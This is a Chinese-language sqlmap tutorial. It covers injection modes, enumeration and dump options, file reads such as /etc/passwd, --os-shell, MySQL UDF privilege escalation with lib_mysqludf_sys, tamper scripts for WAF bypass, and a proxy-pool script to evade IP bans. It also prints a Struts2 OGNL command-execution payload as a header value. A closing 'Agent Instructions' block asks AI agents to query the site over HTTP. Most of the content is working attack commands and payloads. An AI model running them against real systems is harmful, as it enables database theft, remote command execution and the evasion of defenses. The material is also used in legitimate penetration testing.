# 1.10.1 sqlmap使用

## 简介：

SQLMAP是开源的渗透测试工具，主要用于自动化监测和利用SQL注入漏洞，它具有功能强大的检测引擎，能针对各种不同类型的数据库去获取数据库服务器的权限，获取数据库所存储的数据，访问并且可以导出操作系统的文件，甚至通过外带数据连接的方式执行操作系统命令。

## 所支持的DBMS：

SQLMAP支持市面上常见的DBMS，包括[MySQL](https://en.wikipedia.org/wiki/MySQL)，[Oracle](https://en.wikipedia.org/wiki/Oracle_Database)，[PostgreSQL](https://en.wikipedia.org/wiki/PostgreSQL)，[Microsoft SQL Server](https://en.wikipedia.org/wiki/Microsoft_SQL_Server)，[Microsoft Access](https://en.wikipedia.org/wiki/Microsoft_Access)，[IBM DB2](https://en.wikipedia.org/wiki/IBM_DB2)，[SQLite](https://en.wikipedia.org/wiki/SQLite)，\[Firebird]\(<https://en.wikipedia.org/wiki/Firebird_(database_server))和SAP> MaxDB。

## 五种注入模式：

* 基于布尔的盲注，即可以根据返回页面判断条件真假的注入。
* 基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟是否执行（即页面返回时间是否增加）来判断。
* 基于报错注入，即页面会返回错误信息，或者把注入的语句直接返回在页面中。
* 联合查询注入，在使用union联合查询的情况下注入
* 堆查询注入，可以在同时执行多条语句的情况下注入

## 七种测试等级：

使用参数-v指定对应的测试等级，默认是等级1.如果想看到sqlmap发送的测试payload最好的等级是3,。

```
·0：只显示Python的回溯、错误和关键消息；
·1：同时显示基本信息和警告信息；
·2：同时显示调试信息；
·3：同时显示注入的payload；
·4：同时显示HTTP请求；
·5：同时显示HTTP响应头；
·6：同时显示HTTP响应页面页面。
```

## 基本功能：

1.在sqlmap 0.8版本之后，提供了数据库直连的功能，使用参数-d作为SQL数据库的客户端程序来连接数据库的端口，需要安装一些python中的依赖库便可以进行访问，其语法格式为：

```
sqlmap.py -d "DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME"
```

2.与BurpSuite，Google结合使用，支持正则表达式限定测试目标

3.可以对HTTP头部信息（GET,POST,Cookie,Referer,User-Agent等）进行自动注入或者手动注入。

​ 另外Referer和User-Agent可以具体指定某一个值去进行SQL注入挖掘

​ 如果cookie过期之后，sqlmap会自动处理set-cookie头，更新cookie的信息

4.进行限速处理：设置最大并发和延迟发送。

5.支持基本身份认证（Basic Authentication），摘要认证（Digest Authentication），NTLM认证，CA身份认证

6.能够进行数据库版本的发现，用户的发现，进行提权，hash枚举和字典破解，暴力破解表列名称

7.能够利用SQL注入进行文件上传下载，支持用户定义函数（UDF）利用存储过程执行存储过程，执行操作系统命令，访问Windows注册表

8.与w3af,metasploit集成结合使用，能够基于数据库进程进行提权和上传执行后门。

下载地址：<http://sqlmap.org/>

## 操作选项:

### 基本操作：

```
-h:显示帮助信息退出

--hh:显示更多的信息并退出

--version：显示程序版本并退出

-v:设置等级，默认为等级1
```

### 指定目标：

```
GET方法：
    -d: 表示sqlmap将自己作为客户端去连接数据库

    -u或者--url: 指定目标系统的URL，
        -p：对指定的参数进行SQL注入检测
        -f: 检测数据库，服务器等（fingerprint）信息，
        -b或者--banner：获取数据库版本信息和数据库类型
        --batch:不与使用者进行信息交互，直接执行

        例：sqlmap.py -u "http://www.xxx.com/?id=1" -p id -f --batch

    -g：对Google的搜索结果进行SQL注入探测.例如：sqlmap.py -g "inurl:\".php?id=1\."
    --force-ssl:强制使用SSL/HTTPS协议
        例：sqlmap.py -u "https://www.xxx.com/?id=1" --force-ssl


POST方法：
    -r: 将HTTP请求文件保存到文本文档中，使用参数-r读取文本文件的参数进行SQL注入.例：sqlmap.py -r request.txt
    -l: 将burpsuite log文件保存到文本文档中，使用参数-l读取文本文档的参数进行SQL注入。例：sqlmap.py -l log.txt
    -c:对配置文件进行SQL注入探测
```

### 枚举模块：

```
    -a/--all:获取所有信息
    -b/--banner : 获取DBMS banner
    --dbs:枚举DBMS中所有的数据库
    –current-user:获取当前用户
    --privileges-U username(当前账号/CU) ：查看当前账号的权限
    --roles:列出数据库管理员角色，仅适用于当前数据库是Oracle
    –current-db : 获取当前数据库
    –users : 枚举DBMS用户
    –passwords : 枚举DBMS用户密码hash值
    –tables: 枚举DBMS数据库管理系统中的表
    --columns:枚举DBMS数据库管理系统中的列
    --schema:枚举DBMS数据库管理系统的模式
    --dump:转储DBMS数据库表项，后面加-C表示转储某列，-T转储某表，-D转储某数据库，--start,--stop,--first,--last指定开始结束，开头结尾。
    --dump-all：转储所有的DBMS数据库表项
    -D：指定枚举的DBMS中的数据库
    -T：指定要枚举的表
    -C：指定要枚举的列
    -D 数据库名 --tables:查找指定数据库中的表
    -D 数据库名 -T 表名 --columns：查找指定数据库的某个表中的列
    --exclude-sysdbs:忽略掉系统数据库
    --count:查找表中的记录数
    --schema:查找数据库的架构，包含所有的数据库，表和字段，以及各自的类型，一般与--exclude-sysdbs
    --batch：默认每次自动执行
    --sql-query/--sql/shell:运行自定义的SQL语句，例：--sql-query="select * from users;"所得到的内容被保存到dump目录中
```

### 请求模块：

```
    --data=DATA :指定post数据包中被传输的值
        例：sqlmap.py -u "http：//www.xxx.com" --data="name=123&pass=456" -f
    --cookie=COOKIE:指定cookie值登录web程序，并且会尝试自动注入cookie值
        需要在level 2或者大于level 2等级才会进行cookie注入。
        如果cookie被服务器端更新，那么sqlmap也会自动更新cookie值。
        例:sqlmap -u "http://192.168.149.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id  --cookie="security=low; PHPSESSID=d806c1f76f24a9687640ce497afc8f20" --batch
    --param-del:告知sqlmap变量分隔符。web程序一般默认是&符号作为分隔符，如果并非&，则需要指定变量分隔符
        例：sqlmap.py -u "http://www.xxx.com" --data="user=123;pass=456" --param-del=";" -f

    指定HTTP头部信息：
    -user-agent:指定UA头部信息。sqlmap默认使用UA为：sqlmap/1.0-dev-版本号 http://sqlmap.org
    --random-agent:使用sqlmap/txt/user-agents.txt字典中的UA头部进行随机替换

    --host="host header" ：指定host头部信息，当level为5的时候才会检测host值
    --referer="REFERER" ：指定Referer头部信息，当level大于等于三 ,才回去检测referer头部是否存在注入
    --method=GET/POST：指定使用get或者POST方式发送数据，默认以get方式发送

    延时：

    --delay=DELAY:每次HTTP（S）请求之间延迟时间，值为浮点数，单位为秒，默认无延迟
    --timeout=TIMEOUT ：设置超时时间，默认30秒
    --retries=RETRIES:设置重连次数，默认3次
    --randomize:设置随机改变的参数值
    --scope:利用正则表达式过滤日志内容

    --safe-url=SAFEURL ：指定需要去重复扫描的地址
    --safe-freq：指定每发送多少次的注入请求之后接着发正常请求
        注：有些web应用程序会在攻击者多次访问错误的请求时屏蔽掉以后的所有请求，所以设置这两个参数防止以后无法进行注入
        例：sqlmap.py -u "https://www.xxx.com/?id=1" --safe-url=“http://www.xxx.com” --safe-freq=3 
    --skip-urlencode:跳过URL编码的载荷
        注：默认在get请求中是需要对传输数据进行编码，但是有些web服务器不遵守RPC标准编码，使用原始字符提交数据，所以使用这个参数使sqlmap不使用URL编码的参数进行测试
    --eval=EBALCODE：在请求之前执行提供的python代码。
        例：sqlmap.py -u "http://www.xxx.com/?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --evel="import hashlib;hash=hashlib.md5(id).hexdigest()"
```

### 身份认证模块：

```
    --auth-type=AUTH:指定HTTP认证类型（Basic, Digest, NTLM or PKI）
    --auth-cred=AUTH:指定HTTP认证证书（格式为：name:password）
        例：sqlmap.py -u "http://www.xxx.com/?id=1" --auth-type=Basic --auth-cred "user:pass"
    --auth-file=AUTH:指定HTTP认证PEM格式的证书/私钥文件


    代理：
    --proxy="http://127.0.0.1:8081" //将设置国外的代理服务器，传递给本地的8081端口，这个命令是将本地的8081端口反弹到国外的服务器上面去执行命令
    --proxy-cred="name:pass"
        例：sqlmap -u "http://www.xxx.com/?id=1" --proxy="http://127.0.0.1:8081" --proxy-cred="user:pass" -f

    --ignore-proxy：忽略系统级代理设置，通常用于扫描本地网络目标。
```

### 代理模块：

```
    --proxy="http://127.0.0.1:8081" //将设置国外的代理服务器，传递给本地的8081端口，这个命令是将本地的8081端口反弹到国外的服务器上面去执行命令
    --proxy-cred="name:pass"
        例：sqlmap -u "http://www.xxx.com/?id=1" --proxy="http://127.0.0.1:8081" --proxy-cred="user:pass" -f

    --ignore-proxy：忽略系统级代理设置，通常用于扫描本地网络目标。
```

### 优化模块：

```
    -o 开启所有优化开关  
    --predict-output 预测常见的查询输出  
    --keep-alive 使用持久的HTTP（S）连接  
    --null-connection 从没有实际的HTTP响应体中检索页面长度  
    --threads=THREADS：设置最大的HTTP（S）请求并发量（默认为1）
```

### 注入模块：

```
    -p:指定扫描的参数，也可以指定HTTP头部字段
        例：sqlmap.py -u "http://www.xxx.com/？id=1" -p "User-Agent,Referer，id"
    --skip：跳过对某些参数进行测试。当使用--level的值很大但是有个别参数不想去测试的时候使用--skip去跳过
        例：sqlmap.py -u "http://www.xxx.com/？id=1" --skip "User-Agent,Referer，id"
    -u:设置URL注入点。当有些网站将参数和值一起加入到URL链接中，sqlmap是默认不对其进行扫描的，所以我们需要去指定对某个参数值进行注入
        例：sqlmap.py -u "http://www.xxx.com/param1/value1*/param2/value2*" 
    --dbms:设置目标服务器所使用的DBMS
        例：--dbms="mysql"
    --os:指定目标的操作系统
        例：--os="linux"
    --invalid-bignum:给参数值给与最大值让其失效
    --invalid-logical：使用布尔判断使取值失效
    --no-cast:榨取数据时，sqlmap将所有的结果转换成字符串，并用空格替换null值（老版本mysql数据库需要开启此开关）
    --tamper=TAMPER：使用给定的脚本去混淆绕过应用层的过滤，比如waf/ids等。该文件存放在/sqlmap/tamper文件下
    例：sqlmap.py -u "www.xxx.com/?id=1" -p "id" --tamper="between.py,overlongutf8more.py,lowercase.py "
```

### 检测模块：

```
    --level :共有5级，默认等级1，可以自己制定，推荐等级3
    --risk:共有4级，默认等级1，risk升高可造成数据被篡改等风险
    --string:指定页面返回某个字符串则为真
    --not-string:指定页面不返回某个字符串则为真
    --Regexp:当查询的值为真时，使用正则表达式去匹配
    --code：当查询的值为真时，执行HTTP code
```

### 技术类型：

```
    sqlmap默认使用这些操作
    --technique=TECH    指定sqlmap使用的检测技术，默认情况下会测试所有的方式。
    --time-sec=TIMESEC  设置延迟时间，基于时间的注入检测默认延迟时间是5秒
    --union-cols=UCOLS  联合查询时默认是1-10列，当level=5时会增加到测试50个字段数，可以使用此参数设置查询的字段数。
    --union-char=UCHAR  默认情况下sqlmap针对UNION查询的注入会使用NULL字符；
    --union-from=UFROM  在UNION查询SQL注入的FROM部分中使用的表
    --dns-domain=DNS..  攻击者控制了某DNS服务器，使用此功能可以提高数据查询的速度
    --second-order=S..  使用此参数指定到哪个页面获取响应判断真假，--second-order后面跟一个判断页面的URL地址。
```

### 指纹信息：

```
    -f/--fingerprint:查询目标系统的数据库管理系统的指纹信息
    -b/--banner:返回数据库的版本信息
```

### 爆破模块：

```
用于：
    mysql版本<5.0的时候，没有information_schema库
    mysql版本>=5.0，但无权读取information_schema库
    微软的access数据库，默认无权读取MSysObjects库。

    --common-tables:爆破表名
        例：sqlmap.py -u "http://www.baidu.com/?id=1" --common-tables
    --common-columns:暴力破解列名
```

### UDF注入模块：

```
    UDF：自定义函数，利用UDF函数达到执行操作系统命令
    --udf-inject:注入用户自定义函数
    --shared-lib=SHLIB:指定共享库的本地路径
    这两条命令一起使用
```

### 系统文件操作：

```
    --file-read=RFILE:从后端DBMS文件系统中读取文件（读取系统文件）
        例：--file-read="/etc/passwd"
    --file-write=SHELL.PHP --file-dest=DFILE：把当前系统的文件写入到目标服务器的某个目录下去
```

### OS系统访问：

```
    --os-cmd:运行任意操作系统命令（适用于数据库为mysql，postgresql，或Sql Server，并且当前用户有权限使用特定的函数）
        例：--os-cmd id :执行id命令，后期是与sqlmap进行交互，生成UDF函数在操作系统下执行命令
    --os-shell:获取一个shell（目标系统为管理员权限，并且得知绝对路径）
```

### Windows注册表模块：

```
    --reg-read:读取注册表的值
    --reg-add:写入注册表值
    --reg-del:删除注册表值
    --reg-key,--reg-value,--reg-data,--reg-type:注册表辅助选项
```

### 一般性参数：

```
    -s:指定sqlite会话文件保存位置
    -t:记录流量文件保存位置
    --charset:强制字符编码
        例：--charset=GBK
    --crawl:从开始位置爬站深度
        例：--crawl=3
    --csv-del:dump下来的数据以CVS格式保存
    --dbms-creb:指定数据库账号
    --slush-session:清空session
    --fresh-queries：忽略session查询结果
    --hex：当dump下非ASCii字符内容时，将其编码成16进账形式，收到后解析还原
    --save:将命令保存成配置文件
```

### 批处理模块：

```
    --check-waf:检测WAF/IPS/IDS
    --hpp:绕过WAF/IPS/ISD，尤其是对ASP/IIS和ASP.NET/IIS有效
    --identify-waf:彻底的WAF/IPS/IDS检测，支持三十多种产品
```

### 杂项模块：

```
    --mobile：模拟智能手机设备，修改User-Agent为手机端的UA
    --purge-output:清空output文件夹
    --smart：当有大量检测目标时，只修改基于错误的检测结果
    --wizard:设置用户向导参数，教你一步步针对目标注入
```

## 使用技巧

### 绕过ip限制

好不容易挖到的注入点，结果总是因为请求速度过快被ban掉ip，请求延迟也不管用的时候可以试试下面这种方式

准备一个动态ip，首先使用sqlmap的--tor-type=SOCK5 -identify-waf -skip-waf --randomize -safe-url=SAFURL -safe-freq=SAFREQ --delay=10 --time=sec=10 --string="指定参数" --dbs 跑一下看看，如果还是封ip，就需要使用动态ip了，一定要使用不是一个IP段的动态ip，然后看sqlmap跑的状态，一旦爆红，立马ctrl+c暂停sqlmap，然后断开vpn，换一条ip，接着跑。

更简单的直接使用python采集ip、验证、存储，

网上公开的代码如下

""" 由Lz1y修改： 1.由Python2修改为Python3 2.将ip写入txt文件中，并且去重复了 3.退出程序时更加优雅 请用python3执行

```
import requests
from bs4 import BeautifulSoup
import re
import signal
import sys
import os
def handler(signal_num,frame):
    Goduplicate()
    print ("\nDone,the available ip have been put in 'proxy_ips.txt'...")
    print ("\nSucceed to exit.")
    sys.exit(signal_num)
def proxy_spider():
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
    for i in range(900):        
        url='http://www.xicidaili.com/wt/'+str(i)

    r=requests.get(url=url,headers=headers)
    html = r.text
    #print r.status_code
    soup= BeautifulSoup(html, "html.parser")
    datas=soup.find_all(name='tr',attrs={'class':re.compile('|[^odd]')})
    for data in datas:
        soup_proxy= BeautifulSoup(str(data) , "html.parser")    
        proxy_contents=soup_proxy.find_all(name='td')
        ip_org=str(proxy_contents[1].string)
        ip="http://"+ip_org
        port=str(proxy_contents[2].string)
        protocol=str(proxy_contents[5].string)
        proxy_check(ip,port,protocol)
def proxy_check(ip,port,protocol):
proxy={}
proxy[protocol.lower()]='%s:%s'%(ip,port)
#print proxy
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
try:
    r=requests.get(url='http://1212.ip138.com/ic.asp',headers=headers,proxies=proxy,timeout=5) #
    ip_available=re.findall(r'\[(.*?)\]',r.text)[0]
    ip_availables="http://"+ip_available
    if ip_availables==ip:
        print (str(proxy)+'is ok')
        with open("proxy_ip.txt",'a',encoding="utf-8") as ip:
            ip.write(ip_available+':'+port + '\n')

except Exception as e:
    #print e
    pass

def Goduplicate():
with open("proxy_ip.txt",encoding = 'utf-8') as urls:
    url = urls.readlines()    
news_url = []
for id in url:
    if id not in news_url:
        news_url.append(id)
for i in range(len(news_url)):
    with open("proxy_ips.txt",'a') as edu:
        edu.write(news_url[i])
os.remove("proxy_ip.txt")


if __name__ == '__main__':
signal.signal(signal.SIGINT, handler)
proxy_spider()
```

打包好的exe版

> 链接: <https://pan.baidu.com/s/1Y2mSioAqRy-cc-d2eTb1aQ> 提取码: irkh

使用方法：使用Python运行脚本，然后sqlmap中命令加入参数–proxy=<http://127.0.0.1:9999>

脚本同目录下，ips.txt中以

ip:port

的格式放入已验证的多个ip。即可使用sqlmap的代理池拓展脚本。

### 自动化宏注入

场景如下：

已知信息：ASP.NET SQL Server 存在sql盲注，查看页面源代码，我们可以看到在表单中有一个隐藏的输入字段（token），其值为一个GUID：

![](https://i.screenshot.net/wn5rqul)

服务器每次响应时都会生成新的表单Token，并且如果在POST请求表单中该表单Token不匹配，网页就会报错

尝试用sqlmap而不使用宏来修改请求时会发生什么。 我们运行如下命令：

```
sqlmap -u http://10.99.10.20:8080 --method=POST --data= "__VIEWSTATE=ThFsV9HLtQRaOW3ksjD%2F8jPJ%2BK4oYtIZJ9UZjSdVZecr9MFluyVQIMvZTKyg3Q1eCjcahMgDNYnhBeQIA2FCGq1HaWWj8WE3CPXbXZc5j3I%3D&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=3OHOMEoCmtD5YRvASiOGybpufR%2BFQoZetngO2sq5zb9YFl3HtW%2BBzrISbPZE58dZtG6LsC6qns%2BlotceoeBunvTMcKLH8MIyzmxk3PoHuiWpavLOqJGozuk6py0DvKaWvWHDuFZO1QU2dfG5yPZ29nTLapvb3KcAPWAMDBI25FM%3D&txtQuery=cat&btnSearch=Search&token=77d5a318-c2b0-466d-a4ba-b8c5d155c54f" --proxy=http://127.0.0.1:8080 -p txtQuery
```

我们从sqlmap的输出中注意到的第一件事是重定向到错误页面：

![](https://i.screenshot.net/qznl8ir)

很明显这对于sqlmap来说找到并利用SQLi的希望并不大。不过，还是让我们继续这个过程，看看会发生什么。

![](https://i.screenshot.net/598lgsg)

sqlmap似乎认为该参数不可注入; 但我们知道这里的确存在一处SQLi。让我们现在创建一个Burp宏，它将用一个新的表单Token替换请求中的“token”参数，以便我们可以使用sqlmap继续利用此SQLi漏洞。

Burp Suite中的宏实际上是一系列HTTP请求，这些请求会在由Burp代理的请求发送到服务器之前进行请求。一旦已经执行了宏请求，则从最终的宏请求的响应中取得的参数集合就可以被传递到调用宏的请求中。

首先要做的是记录我们想要的一系列HTTP请求。 在本文这种场景中，只有一个请求：对服务器的GET请求也就是获取token的请求。 “宏”可用于执行复杂的操作，例如登录应用程序和检索Cookie。 在Burp Suite中，转到“项目选项”选项卡和“会话”子选项卡。如下图：

![](https://i.screenshot.net/wyg2piw)

向下滚动到“Macros”（宏）部分，然后单击添加。

将弹出两个对话框。 第一个是宏编辑器，第二个是宏记录器。 为了确定我们想要执行的一系列请求，我们需要“记录”我们想要创建的宏。

可以通过两种方式完成：我们现在可以执行我们想要做为宏的一部分的操作（即浏览登录页面，发送特定的GET请求等），然后从列表中选择登录和特定操作的HTTP请求;

或者直接在“代理历史列表”（Proxy –> HTTP History）中选择已经存在的HTTP请求。在本文的示例中，我们只需要找到一个请求，如下图：

![](https://i.screenshot.net/z35j0t0)

一旦选中我们所需的请求（高亮显示的那一个），点击ok，然后我们进入了宏编辑器。

![](https://i.screenshot.net/jknm6bg)

从这里，我们将需要对截获的请求进行一个小的更改。 选中请求，单击右侧的“配置项目”（Configure item），将显示“配置宏项目”的对话框。 然后，点击“自定义响应的参数位置”中的添加按钮。

![](https://i.screenshot.net/9gl49fk)

然后，我们需要在HTTP响应体中定位我们要的参数——token，Burp会高亮显示我们要提取的值，设置参数的名称，以便在宏完成后可以将其传递给最终的HTTP请求。

![](https://i.screenshot.net/5q5m2a8)

当我们在响应中高亮显示我们所需的值的时候，“定义开始和结束”这一部分会自动完成。 所有其他设置可以保留为默认值。 单击确定关闭“定义自定义参数”的对话框，单击确定关闭“配置宏项目”的对话框，最后再次单击确定以关闭宏编辑器。 现在我们创建了我们想要的宏，但是我们仍然需要实现会话处理规则，以允许宏对所需的请求进行操作。 在“会话”选项卡上，转到“会话处理规则”部分，然后单击添加按钮。如下图：

![](https://i.screenshot.net/82e1yfg)

当对话框弹出时，单击“规则操作”下的添加，然后从下拉菜单中选择“运行宏”

![](https://i.screenshot.net/5v0w9u3)

之后会打开“会话处理操作编辑器”。 在这里我们选择我们之前添加的宏，然后选择“仅更新以下参数”，并将我们的参数添加到列表中。 如果我们需要根据宏的最终请求修改cookie，那么我们也可以在这里进行添加。本文的演示示例不需要设置cookie。

![](https://i.screenshot.net/z6qg3ij)

单击OK关闭此对话框，然后单击会话处理规则编辑器的“范围（Scope）”标签页。

![](https://i.screenshot.net/ez15jf6)

这里我们需要定义受规则影响的请求的范围。在“Tools Scope”下，默认情况下不会选择代理（因为如果没有正确配置的话，可能会影响通过Burp代理的每一个请求）。为了使用此规则与sqlmap一起工作，我们必须选中“Proxy”。 为了限制范围，我们使用“Use suite scope”选项，本文的演示仅包括示例站点。最后，我们将“参数范围”限制为仅影响包含“token”参数的请求，因为这是我们真正需要修改的请求。单击“OK”关闭对话框。 上述设置就是我们需要配置的一个宏来自动修改sqlmap的请求。现在，当sqlmap的请求通过代理时，Burp将首先向服务器发出GET请求，并使用从GET请求中提取的token参数的值替换sqlmap的POST请求中的“token”参数的值。

Burp不会在“代理历史记录”列表中显示被宏修改过的HTTP请求，因此如果你想确认你添加的宏是否按预期工作，那么你可以打开 “项目选项”标签页中的“会话”选项卡中的会话跟踪器来进行观察。 在会话跟踪器里可以按照请求顺序挨个查看通过会话处理规则的处理过的每一个请求，所以，你将能够观察对请求所做的任何更改。 一旦启用了我们添加的宏，sqlmap应该就能够正确地识别我们示例网站中的SQL注入漏洞了，并能够成功利用此漏洞：

![](https://i.screenshot.net/33rl8ix)

### 常用脚本

```
    base64encode.py 用base64编码替换
    space2plus.py   用+替换空格
    charencode.py   url编码
    apostrophenullencode.py  绕过过滤双引号，替换字符和双引号
    randomcomments.py 用/**/分割sql关键字
    unmagicquotes.py  宽字符绕过 GPC  addslashes
    unionalltounion.py union all select替换为union select
```

### tamper编写

tamper概述：

```
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级
def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
pass
def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
return payload
```

payload主要是传递过来的是每个检测SQL注入的Payload。

首先举个例子，假设我们有一个加工厂，这个加工厂的产品需要经过三个流程，进货、加工、包装、出售。但是我们的货物我们不需要去包装就可以直接出售给客户。

> 这里的货物就是我们的SQL注入点，你可以把它当作一个向服务器端发送的请求。
>
> 这个进货的操作就是我们将检测目标传递给自动化注入工具的过程了。 加工就是自动化注入工具进行分析、构造合适的Payload。
>
> 假设这个货物要被包装才可以出售(调用了 –tamper参数)，那么我们的加工材料(Payload) 就会经过我们的包装车间(tamper函数),为了兼容不同的产品，所以根据产品的个数设立了可变的车间(payload参数和\*\*kwargs参数)。
>
> 最后的出售就是将加工好的产品(请求)卖给客户(存在注入点的服务器)。

整个tamper的作用就在这里，用于判断是否需要包装。

下面我根据刚才这个例子来写一个简单的包装车间(tamper)：

```
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):# tamper函数体内你可以把payload和kwargs当作已经传递进来的值
    payload = payload.replace(" ","/**/") # 将空格替换为/**/
    print payload #适当的还可以直接输出，不使用-v参数了。
    return payload #必须返回最后的Payload
```

另一种玩法就是将我们请求的Header头进行一下篡改：

```
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    kwargs['headers']['X-Forwarded-For'] = '10.10.10.10' # 这里的kwargs是一个字典，读者可以直接print打印出来看看结构。
    payload = payload.replace(" ",'/**/')
    return payload
```

经常看HTTP数据包的读者肯定注意到了，kwargs\[‘headers’]对应我们的请求Header头，它是一个字典。

```
kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent
```

最后给出网上放出的一个tamper，希望对大家有所帮助

```
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload):
    if payload:
              pass
              payload = payload.replace("SLEEP(5)","\"0\" LikE Sleep(5)") # 将SLEEP(5)替换成"0" LIKE Sleep(5)，因为Sleep()函数执行后会返回0，0等于0就会返回true
                 payload = payload.replace("","/*FFFFFFFFFFFFFFFFFFFFFFFFF*/") # 将空格替换
              p = re.compile(r'(\d+)=')
              payload=p.sub(r"'\1'LikE ", payload) #将数字附近的=替换成LikE
    return payload # 返回payload
```

### sqlmap进行udf提权

使用

```
 sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql" --sql-shell //获取一个sql-shell

 sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql" --os-shell
 //获取一个os-shell
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g33fm5q7ahj30ry0dh75j.jpg)

利用sqlmap上传lib\_mysqludf\_sys到MySQL插件目录:

```
sqlmap.py -dmysql://root:root@127.0.0.1:3306/mysql --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ninjia.gitbook.io/secskill/web/sql/sqlmap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
